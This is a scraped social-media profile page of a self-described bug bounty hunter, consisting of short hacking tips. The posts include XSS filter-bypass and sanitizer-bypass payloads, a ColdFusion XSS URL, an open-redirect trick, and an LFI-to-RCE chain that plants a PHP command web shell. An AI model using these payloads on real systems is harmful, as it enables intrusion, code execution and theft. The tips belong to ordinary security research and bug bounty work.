Olivia
Online
ǝsoſ ssıſ
@phone_freak_
Computer enthusiast
Bug hunter;
Hacker;Web App Pentester;
Joined April 2020
540 Following
67 Followers
1K Posts
------------------
alert(1) = 403
alert `1` = 403
------------------
alert?.(1) = 200
------------------
#bugbountytips
WordPress Core is vulnerable to Unauthenticated Stored Cross-Site Scripting
guess what no one is talking about 😮
POC: go to comments
put onmouseover xss payload in the name field
BOOM
#BugBounty #CyberAttack #bugbountytip
Deeply saddened by the loss of Kevin Mitnick, a legendary hacker and cybersecurity expert. His journey inspired many, and his contributions to the industry were invaluable. Rest in peace, Kevin.
Title: ColdFusion Debug XSS
severity: High
POC:- {{host}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(document.domain)
#BugBounty #bugbountytip #infosec #CyberSecurity #cybersecuritytips #CVE #hacking #bugbountytips
For open redirects, try using this character: 。The website thinks it's redirecting to a page on the site, but browsers convert it to a '.' thus completing the redirect. Usage: ?url=//google。com Goes to: https://t.co/3dcucO5HhZ URL encoded: %E3%80%82 #bugbountytips
my birthday is tomorrow so take it as a gift for all of you :) have a great day ahead!
Bug Bounty Tip
When dealing with custom or outdated XSS sanitizers - don't forget to try the <select> mXSS trick
<select><style></select>
<svg onload=alert(1)>
</style>
The browser will remove the <style> tag, while sanitizer will think that our payload in <style> tag is safe.
LFI - RCE
#LFI
`..\..\..\..\..\..\..\..\etc/passwd`
#Exploitation
1. Log injection -> <?php system($_GET['cmd']); ?>
#Code injection
2. LFI ..\logs\log.txt
This include(..\logs\log.txt) -> Execute the PHP code -> Code injection.
RCE🤏
10 types of web vulnerabilities that are often missed
🐞 HTTP/2 Smuggling
🐛 XXE via Office Open XML Parsers
🐜 SSRF via XSS in PDF Generators
🕷 XSS via SVG Files
🦟 Blind XSS
#bugbounty #pentest #hacking
Thread 🧵👇
https://t.co/c2AIi8ev8Q
I hacked a large company (70k+ employees) through social engineering. Legally of course.
• I set up the infrastructure
• Scraped names & emails with LinkedIn
• Sent 200 phishing emails.
I had access to their AWS console within 2 minutes.
And much more:
#CyCatz #cybersecurity IDOR and API-keys🔑Token Hardcode Exposed
more …https://t.co/XoSWRdadg1
#cyberawareness #cyberattack #breaches #databreaches #cybercrime #api #idor #token #exposed
A guide to creating the perfect bug bounty automation with @hakluke!
This @Detectify blog discusses ways in which you can start to automate your #bugbounty hunting!
🪲🔫🤖
👇
https://t.co/jU96ynDJcB
Unauthenticated Remote Code Execution in Cacti 🌵🐛
This vulnerability was literally introduced by a single character:
https://t.co/45yDRMIKFD
#appsec #security #vulnerability
In a blog by @kuldeepdotexe, he details a recent second order XXE exploit he found on a Synack target. Read more in the latest Exploits Explained: https://t.co/KJWDS0KvUb
Day 6 of #Awesome360:-
Blogs and writeups:-
https://t.co/eD7sYz0sOJ
https://t.co/FlP8K6kqIl
https://t.co/9e0T2pshOA
Exchange TabShell RCE PoC (CVE-2022-41076)
(Just copy paste the poc from @vcslab's blog post)
Still wondering why this vulnerability is so underrated xD
PoC script (for copy paste purpose): https://t.co/4jLfIxXkC3
https://t.co/nHrJvpxqVn
This one is about an authorization bypass that @kl_sree and I found in Google Cloud Workstations.
@GoogleVRP
https://t.co/B0DpOyxFQh
I created a github repo where I have uploaded my checklists which I use during my bug bounty hunting. I'll be adding more vulnerabilities & new test cases in future. If you like it, make sure to motivate me by giving it a ⭐.
Here is the link: https://t.co/mSHm3LXWLw
#bugbounty
Last Seen Users on Sotwe
Pasif Hatice
Seen from Turkey
I love you sexy video giral
Seen from Pakistan
Reislin |NSFW| 
Seen from India
AdrianaChechikTV
Seen from India
GRUP BOKEP TELEGRAM
Seen from Indonesia
BRASIL AMADOR 🇧🇷
Seen from Brazil
Osinachi Thunder Ebere
Seen from Mexico
Pakistan Boys
Seen from Turkey
보추삠ᰔᩚ
Seen from Korea
Sali4545manisa
Seen from Turkey
Most Popular Users
Elon Musk
@elonmusk
240.9M followers
Barack Obama
@barackobama
119.2M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Cristiano Ronaldo
@cristiano
111.7M followers
Narendra Modi
@narendramodi
107.1M followers
Rihanna
@rihanna
97.9M followers
NASA
@nasa
92.2M followers
Justin Bieber
@justinbieber
91.1M followers
KATY PERRY
@katyperry
88.2M followers
Taylor Swift
@taylorswift13
82.1M followers
Lady Gaga
@ladygaga
73.6M followers
Virat Kohli
@imvkohli
70.8M followers
Kim Kardashian
@kimkardashian
70.1M followers
YouTube
@youtube
68.7M followers
Bill Gates
@billgates
64.2M followers
Neymar Jr
@neymarjr
63.7M followers
The Ellen Show
@theellenshow
62.4M followers
CNN
@cnn
61.8M followers
Selena Gomez
@selenagomez
61.3M followers
X
@x
60.8M followers